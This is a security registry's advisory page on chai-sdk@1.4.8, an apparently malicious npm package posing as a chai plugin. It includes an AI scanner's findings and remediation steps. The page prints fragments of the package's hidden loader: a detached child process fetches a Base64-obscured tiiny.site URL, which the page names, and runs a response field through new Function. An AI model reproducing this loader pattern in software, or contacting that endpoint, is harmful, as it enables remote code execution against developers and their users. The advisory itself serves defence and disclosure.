registry / Remote code execution / chai-sdk

chai-sdk

This document describes the management of vulnerabilities for the project and all modules within the organization.

This report shows the evidence for chai-sdk@1.4.8. 2 of 2 known versions are blocked or flagged. See all versions.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 4mo ago · by lpm-firewall-ai

Static inspection confirms a concrete runtime remote-code-execution chain from package API invocation to hidden network fetch and dynamic execution. Absence of install hooks reduces install-time impact but does not mitigate the malicious runtime payload loader.

Static reason

One or more suspicious static signals were detected.

Trigger

Application imports chai-sdk main entry and invokes exported middleware/function.

Impact

Arbitrary remote code execution in the consuming application environment; remote payload could exfiltrate credentials, mutate files, or persist depending on fetched code.

Mechanism

detached child process fetches remote config and executes response field as code

Attack narrative

The package main entry is index.js. When the exported middleware is called, it spawns a detached Node process for lib/initializeCaller.js. That helper contacts a Base64-obscured tiiny.site URL with axios, reads response.data.cookie, constructs it with new Function, and executes it with require. This is an unbounded remote payload execution path hidden behind normal package use.

AI rationale

Evidence

package.jsonindex.jslib/initializeCaller.jsfile.jslib/worker.jslib/transport.js

Network endpoints1

amethyst-lorrin-26.tiiny.site/index.json

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js exports middleware that spawns detached node process running lib/initializeCaller.js on invocation.
lib/initializeCaller.js performs axios.get to Base64-hidden URL https://amethyst-lorrin-26.tiiny.site/index.json.
lib/initializeCaller.js executes response.data.cookie with new Function("require", ...), enabling arbitrary remote code execution.
package.json main is index.js and no lifecycle hooks are needed; attack triggers at runtime when package API is used.
Package contents appear copied from pino docs/code while manifest name is chai-sdk, increasing deception context.

Evidence against

package.json has no preinstall/install/postinstall lifecycle scripts.
No local credential harvesting or file writes are visible in inspected static source before remote payload execution.

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalNetwork

Supply chain

HighEntropyStringsUrlStrings

Source & flagged code

5 flagged

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3Cross-file remote execution chain: index.js spawns lib/initializeCaller.js; helper contains network access plus dynamic code execution. L3: const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); ... L37: function runBackgroundTask(args) { L38: const scriptPath = path.resolve(__dirname, './lib/initializeCaller.js'); L39:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

lib/initializeCaller.jsView file

6(async function initializeCaller(..._args) { L7: const response = await axios.get(atob("[redacted]")); L8: try {

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/initializeCaller.jsView on unpkg · L6

8try { L9: const executor = new Function("require", response.data.cookie); L10: executor(require);

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/initializeCaller.jsView on unpkg · L8

docs/transports.mdView file

550patternName = generic_password severity = medium line = 550 matchedText = password...rd',

Medium

Secret Pattern

Hardcoded password in docs/transports.md

docs/transports.mdView on unpkg · L550

Source & flagged code

5 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

index.jsView on unpkg · L3

lib/initializeCaller.jsView file

6(async function initializeCaller(..._args) { L7: const response = await axios.get(atob("[redacted]")); L8: try {

Findings

3 High3 Medium4 Low

HighChild Processindex.js

HighCross File Remote Execution Contextindex.js

HighBase64 Obscured Urllib/initializeCaller.js

MediumNetwork

MediumEnvironment Vars

MediumSecret Patterndocs/transports.md

LowScripts Present

LowEvallib/initializeCaller.js

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-sdk@1.4.8.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-sdk@1.4.8. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-07-09 16:31:54.276Z (UTC).

Source advisory published: 2026-07-07 15:20:49.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

1.4.8latestshownMaliciousRemote Code ExecutionBlockPublishedJul 5, 2026, 6:59 PM 1.4.7MaliciousMalwareBlockPublishedJul 5, 2026, 6:37 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Behavioral surface

Source & flagged code

Related packages

Other remote code execution packages